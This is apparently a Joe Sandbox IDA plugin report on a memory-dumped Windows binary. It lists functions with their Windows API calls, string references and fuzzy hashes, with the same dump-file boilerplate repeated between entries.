Edit, xrefs: 00876487

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID:
String ID: Edit
API String ID: 0-554135844
Opcode ID: a77d446a02b1e32f1e8aa43a981e80bbd6a028fcbb19205004027685400a8525
Instruction ID: 76438997882fa60b129827093ee018dfcb59ce37d022359d0ffaa23e406bf3f7
Opcode Fuzzy Hash: a77d446a02b1e32f1e8aa43a981e80bbd6a028fcbb19205004027685400a8525
Instruction Fuzzy Hash: 4411CE30354B01AAEE302B29CC09B667AA8FF41795F04C428F54DD21E9FB61DC64D629

Function 0088660B Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32(?,96528101,?,?,?,009D532C,000000FF), ref: 00886652
GlobalHandle.KERNEL32(00000000), ref: 00886661
GlobalUnlock.KERNEL32(00000000), ref: 0088666A
GlobalFree.KERNEL32(00000000), ref: 00886671
DeleteCriticalSection.KERNEL32(?,96528101,?,?,?,009D532C,000000FF), ref: 0088667B

Part of subcall function 0088686B: EnterCriticalSection.KERNEL32(?,?,?), ref: 008868E6
Part of subcall function 0088686B: LeaveCriticalSection.KERNEL32(?,?,?,?), ref: 008868F9
Part of subcall function 0088686B: LocalFree.KERNEL32(?,?,?), ref: 00886902
Part of subcall function 0088686B: TlsSetValue.KERNEL32(?,00000000,?,?), ref: 0088691E

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CriticalFreeGlobalSection$DeleteEnterHandleLeaveLocalUnlockValue
String ID:
API String ID: 1549993015-0
Opcode ID: d2e7c52397b6e1957fc6dcdba8de21d9173b05931722afd9760b37682d07b57c
Instruction ID: 59d6cd7b660d2d749753e812a0cff3e75cc39ed9e61a0da97f30c8ca21bc0f3b
Opcode Fuzzy Hash: d2e7c52397b6e1957fc6dcdba8de21d9173b05931722afd9760b37682d07b57c
Instruction Fuzzy Hash: EA018031604A92EFCB119F24DD4CF59BBB9FB54B20F008226F811D76A0EB34AD11CB90

Function 0086326C Relevance: 6.1, APIs: 4, Instructions: 120windowCOMMON

Download Yara Rule

APIs

AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 008632B2
AppendMenuA.USER32(?,00000000,00000010,?), ref: 008632BF
SendMessageA.USER32(?,00000080,00000001,?), ref: 008632F6
SendMessageA.USER32(00000000,00000080,00000000,?), ref: 00863308

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: AppendMenuMessageSend
String ID:
API String ID: 3116418596-0
Opcode ID: 96a152d7c66dfe1d9104685f0a832e8b9432b0548cbba1de5cd4634c637b8c96
Instruction ID: 934385e0d03d79f3375a7b37425f1fc06908746d2871368b39f90497137f6848
Opcode Fuzzy Hash: 96a152d7c66dfe1d9104685f0a832e8b9432b0548cbba1de5cd4634c637b8c96
Instruction Fuzzy Hash: B3417231A006089BDB10EFA8DC46BADB7B0FF04710F158169E919AB2D1DB71AA44CF55

Function 0086691B Relevance: 6.1, APIs: 4, Instructions: 110threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00866E0E: MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00866931,00000000,000000FF,?), ref: 00866E2D
Part of subcall function 00866E0E: SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00866E42
Part of subcall function 00866E0E: MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,00000000,00000000,00000002,?,?,?,?,00866931,00000000,000000FF,?,?,00867BA3), ref: 00866E59
Part of subcall function 00866E0E: SysFreeString.OLEAUT32(00000000), ref: 00866E65

__EH_prolog3_GS.LIBCMT ref: 0086695A
GetCurrentThread.KERNEL32 ref: 008669BA
GetCurrentThreadId.KERNEL32 ref: 008669C3
GetVersionExA.KERNEL32(?,?,?,?,?,?,?,00867BA3,?,?,?,?,?,80070057,00000000), ref: 00866A5F

Part of subcall function 008790DA: __CxxThrowException@8.LIBVCRUNTIME ref: 008790EE

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ByteCharCurrentMultiStringThreadWide$AllocException@8FreeH_prolog3_ThrowVersion
String ID:
API String ID: 1519344046-0
Opcode ID: bd30860fabcddbee63585ab2f2c2bc8c94945a487daf3cdf8f2192084db4ba6a
Instruction ID: 971729a41036a369e5d079a35c43d7ace598c15a4dd04958a458d2b634ddfc69
Opcode Fuzzy Hash: bd30860fabcddbee63585ab2f2c2bc8c94945a487daf3cdf8f2192084db4ba6a
Instruction Fuzzy Hash: EE4100B0904B54DFD7209F6AC980796FAE0FF49310F918A2EE1AED7611EB70A840CF41

Function 00866020 Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,49000000,00000006,?,?,?,80004005,96528101,?,?,?,00000000,009D50D8,000000FF,?,00867632), ref: 00866038
LoadResource.KERNEL32(?,00000000,?,?,?,?,80004005,96528101,?,?,?,00000000,009D50D8,000000FF,?,00867632), ref: 0086604C

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Resource$FindLoad
String ID:
API String ID: 2619053042-0
Opcode ID: 25275f086326b2224003508e0d00ac93be230f963b236101971576779ea9f053
Instruction ID: 7708127e8eb610253ebfac87ab36de0a08f3e125a809fa670a28aad30e6a9177
Opcode Fuzzy Hash: 25275f086326b2224003508e0d00ac93be230f963b236101971576779ea9f053
Instruction Fuzzy Hash: F601D633B106656BCB311B69ED8447AB39CFB843667024536FD49EB290F531ED1056A0

Function 00875972 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,00000000,00000005), ref: 008759A4
LoadResource.KERNEL32(?,00000000), ref: 008759AC
LockResource.KERNEL32(?), ref: 008759BA
FreeResource.KERNEL32(?), ref: 00875A13

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 8d61053ceb1e672081aa2972ef4cec531a141fe64e348c0252780e701cd2b357
Instruction ID: e0dc6ad166f9e9e5c6191df713985818f78c7ae283f03717aa7731635f564c0c
Opcode Fuzzy Hash: 8d61053ceb1e672081aa2972ef4cec531a141fe64e348c0252780e701cd2b357
Instruction Fuzzy Hash: 6B119D30900A21EBCB108B94D848BAAF7B4FF44761F14C175E948DB698FBB4DE40E7A0

Function 008773FE Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000003,00000001,00000003), ref: 0087745B
VerSetConditionMask.KERNEL32(00000000), ref: 00877463
VerifyVersionInfoA.KERNEL32(0000009C,00000003,00000000), ref: 00877474
KiUserCallbackDispatcher.NTDLL(00001000), ref: 00877485

Part of subcall function 00877EA2: __EH_prolog3.LIBCMT ref: 00877EA9
Part of subcall function 00877EA2: GetSysColor.USER32(00000016), ref: 00877EB2
Part of subcall function 00877EA2: GetSysColor.USER32(0000000F), ref: 00877EC5
Part of subcall function 00877EA2: GetSysColor.USER32(00000015), ref: 00877EDC
Part of subcall function 00877EA2: GetSysColor.USER32(0000000F), ref: 00877EE8
Part of subcall function 00877EA2: GetDeviceCaps.GDI32(?,0000000C), ref: 00877F10
Part of subcall function 00877EA2: GetSysColor.USER32(0000000F), ref: 00877F1E
Part of subcall function 00877EA2: GetSysColor.USER32(00000010), ref: 00877F2C
Part of subcall function 00877EA2: GetSysColor.USER32(00000015), ref: 00877F3A
Part of subcall function 00877EA2: GetSysColor.USER32(00000016), ref: 00877F48
Part of subcall function 00877EA2: GetSysColor.USER32(00000014), ref: 00877F56
Part of subcall function 00877EA2: GetSysColor.USER32(00000012), ref: 00877F64
Part of subcall function 00877EA2: GetSysColor.USER32(00000011), ref: 00877F72
Part of subcall function 00877EA2: GetSysColor.USER32(00000006), ref: 00877F7D
Part of subcall function 00877EA2: GetSysColor.USER32(0000000D), ref: 00877F88
Part of subcall function 00877EA2: GetSysColor.USER32(0000000E), ref: 00877F93
Part of subcall function 00877EA2: GetSysColor.USER32(00000005), ref: 00877F9E
Part of subcall function 00877EA2: GetSysColor.USER32(00000008), ref: 00877FAC
Part of subcall function 00877EA2: GetSysColor.USER32(00000009), ref: 00877FB7
Part of subcall function 00877EA2: GetSysColor.USER32(00000007), ref: 00877FC2
Part of subcall function 00877EA2: GetSysColor.USER32(00000002), ref: 00877FCD
Part of subcall function 00877EA2: GetSysColor.USER32(00000003), ref: 00877FD8
Part of subcall function 00877EA2: GetSysColor.USER32(0000001B), ref: 00877FE6
Part of subcall function 00877EA2: GetSysColor.USER32(0000001C), ref: 00877FF4
Part of subcall function 00877EA2: GetSysColor.USER32(0000000A), ref: 00878002

Part of subcall function 00877968: __EH_prolog3_GS.LIBCMT ref: 00877972
Part of subcall function 00877968: GetDeviceCaps.GDI32(?,00000058), ref: 00877992
Part of subcall function 00877968: DeleteObject.GDI32(00000000), ref: 008779FC
Part of subcall function 00877968: DeleteObject.GDI32(00000000), ref: 00877A1A
Part of subcall function 00877968: DeleteObject.GDI32(00000000), ref: 00877A38
Part of subcall function 00877968: DeleteObject.GDI32(00000000), ref: 00877A56
Part of subcall function 00877968: DeleteObject.GDI32(00000000), ref: 00877A74
Part of subcall function 00877968: DeleteObject.GDI32(00000000), ref: 00877A92
Part of subcall function 00877968: DeleteObject.GDI32(00000000), ref: 00877AB0

Part of subcall function 00877565: GetSystemMetrics.USER32(00000031), ref: 00877573
Part of subcall function 00877565: GetSystemMetrics.USER32(00000032), ref: 00877581
Part of subcall function 00877565: SetRectEmpty.USER32(?), ref: 00877594
Part of subcall function 00877565: EnumDisplayMonitors.USER32(00000000,00000000,0087737B,?,?,00000000,008774A6), ref: 008775A4
Part of subcall function 00877565: SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 008775B3
Part of subcall function 00877565: SystemParametersInfoA.USER32(00001002,00000000,?,00000000), ref: 008775E0
Part of subcall function 00877565: SystemParametersInfoA.USER32(00001012,00000000,?,00000000), ref: 008775F4
Part of subcall function 00877565: SystemParametersInfoA.USER32 ref: 0087761A

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Color$DeleteObject$System$Info$Parameters$CapsConditionDeviceMaskMetrics$CallbackDispatcherDisplayEmptyEnumH_prolog3H_prolog3_MonitorsRectUserVerifyVersion
String ID:
API String ID: 3326357938-0
Opcode ID: f61d41e99aa740f93265aa91da72d0cb68ee513d164f1bf743dcb14c75565672
Instruction ID: 5b91d5c112c4bb3b87f5b3aa78bcba2e939bb6eca47ab4d1595ef0c8f987b838
Opcode Fuzzy Hash: f61d41e99aa740f93265aa91da72d0cb68ee513d164f1bf743dcb14c75565672
Instruction Fuzzy Hash: A61154B1A10314AFDB109F75DC5AF6BB7ACEB85704F40445DB149D6281DA744E44CB51

Function 00866E0E Relevance: 6.1, APIs: 4, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00866931,00000000,000000FF,?), ref: 00866E2D
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00866E42
MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,00000000,00000000,00000002,?,?,?,?,00866931,00000000,000000FF,?,?,00867BA3), ref: 00866E59
SysFreeString.OLEAUT32(00000000), ref: 00866E65

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ByteCharMultiStringWide$AllocFree
String ID:
API String ID: 447844807-0
Opcode ID: e32ad33a80ae8fe4406bcd9ba37ab2d7126d92508380033322670a4ba2cbda07
Instruction ID: e238d428db9956ac18ff74d54070942d310671c187e9d2b3c63b405e5d5b25a3
Opcode Fuzzy Hash: e32ad33a80ae8fe4406bcd9ba37ab2d7126d92508380033322670a4ba2cbda07
Instruction Fuzzy Hash: D201D439200194BFCB214FA5DC8CE9B7E7DFB457A0F614118F605D7190EA329E00D7A0

Function 00886A47 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0091D600: LeaveCriticalSection.KERNEL32(?,?,?,?,?,0093258E,00000003,?,?,?,00000004,00933D30,?,?,?,00861263), ref: 0091D614

__CxxThrowException@8.LIBVCRUNTIME ref: 00886A52

Part of subcall function 009AED47: RaiseException.KERNEL32(?,?,?,?), ref: 009AEDA7

__EH_prolog3.LIBCMT ref: 00886A5F

Part of subcall function 00886578: TlsAlloc.KERNEL32(?,00000000,?,?,008864C3,00861D2C,?,008B9CDE,00A3A4C4,00000000,?,?,00000000), ref: 00886597
Part of subcall function 00886578: InitializeCriticalSection.KERNEL32(?,?,008864C3,00861D2C,?,008B9CDE,00A3A4C4,00000000,?,?,00000000), ref: 008865A8

Strings

Pe, xrefs: 00886AAB

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CriticalSection$AllocExceptionException@8H_prolog3InitializeLeaveRaiseThrow
String ID: Pe
API String ID: 1769093764-3533477303
Opcode ID: d066efa2aefd8c5469a7d2c4d9c036bc4b157e0a1c22f2e73e38fadfa37f2af1
Instruction ID: d51e8fdd9dc55264d2dc8a685dda543bd362649eeb5e7d27b20c34333c4f8999
Opcode Fuzzy Hash: d066efa2aefd8c5469a7d2c4d9c036bc4b157e0a1c22f2e73e38fadfa37f2af1
Instruction Fuzzy Hash: D4011B7860022A9BDB19BFA8C80679936A5FB81760F108524B914EF2D2FF74CD918B51

Function 00867675 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 00867699
PathFindExtensionA.SHLWAPI(?), ref: 008676AF

Strings

%Ts%Ts.dll, xrefs: 008676B5

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ExtensionFileFindModuleNamePath
String ID: %Ts%Ts.dll
API String ID: 2295281026-1896370695
Opcode ID: fa6453c633abf83b22e74c1e055ae5ea31752811bb8965ab5580be3743a02ff9
Instruction ID: a2ad4e5f45b6a4acc802a59faa318b92e26268e4eee2c96b5a28f0fd5627ed74
Opcode Fuzzy Hash: fa6453c633abf83b22e74c1e055ae5ea31752811bb8965ab5580be3743a02ff9
Instruction Fuzzy Hash: EDF0AF7191816DABCB11EB68DD46AEF77FCFB29700F4104B6A901E7110EAB19E44CBE1

Function 00867753 Relevance: 4.6, APIs: 3, Instructions: 70registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,009E4094,00000000,00000001,00000000), ref: 00868014
RegQueryValueExA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000004), ref: 00868035
RegCloseKey.ADVAPI32(00000000), ref: 00868079

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: ba9e288574cc05f2a11d8d3cf7bff0f34f74698e4665773a8771e015bcd63d14
Instruction ID: 1d5544dbc4fb3feb0a557bd6c1d39ad67ba26c8d83079d0f87c59842b903d46a
Opcode Fuzzy Hash: ba9e288574cc05f2a11d8d3cf7bff0f34f74698e4665773a8771e015bcd63d14
Instruction Fuzzy Hash: CE219272A10608FFEF14CF90CD85BBEB7B8FB1031AF114958E559E6040DBB56A48CB52

Function 0087C071 Relevance: 4.5, APIs: 3, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(00000030,00000000,00000000,00000000), ref: 0087BFAA
TranslateMessage.USER32(00000030), ref: 0087BFC9
DispatchMessageA.USER32(00000030), ref: 0087BFD0

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Message$DispatchTranslate
String ID:
API String ID: 1706434739-0
Opcode ID: f513facb035474d32bb153d55ac4ecf1b9691bcd76f3053fa85d7f470a094032
Instruction ID: e222fcaeaf21bb2d4dbf9c96f96bcf7c50fc4e36ba651513192dca04e6da91fe
Opcode Fuzzy Hash: f513facb035474d32bb153d55ac4ecf1b9691bcd76f3053fa85d7f470a094032
Instruction Fuzzy Hash: 82F0A432319950BB87126B38EC489BF776DFF81B51305C029F409C7504EB24DD439B92

Function 00875DED Relevance: 4.5, APIs: 3, Instructions: 24COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,00000005), ref: 00875E01
LoadResource.KERNEL32(?,00000000), ref: 00875E09
LockResource.KERNEL32(00000000), ref: 00875E19

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Resource$FindLoadLock
String ID:
API String ID: 2752051264-0
Opcode ID: 6509e338f8e099ef66bd9eca8d901a348ca85be7a6ea39db3e3e63c6502a5b59
Instruction ID: bedf6e76b9a04f65767ba0a8dd56530aec3bf8c8f5716ab31a8c52e20d676a7a
Opcode Fuzzy Hash: 6509e338f8e099ef66bd9eca8d901a348ca85be7a6ea39db3e3e63c6502a5b59
Instruction Fuzzy Hash: DFE06535D11E116FC7125BB4984865D76E4FF08320B008150F514EB2A5EF74DE004BA5

Function 00863F44 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 008640AA

Part of subcall function 008658B0: std::_Lockit::_Lockit.LIBCPMT ref: 008658EA
Part of subcall function 008658B0: std::_Lockit::_Lockit.LIBCPMT ref: 00865908
Part of subcall function 008658B0: std::_Lockit::~_Lockit.LIBCPMT ref: 00865928
Part of subcall function 008658B0: std::_Lockit::~_Lockit.LIBCPMT ref: 008659F4

Strings

ios_base::badbit set, xrefs: 00864078, 00864098, 008640B3

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
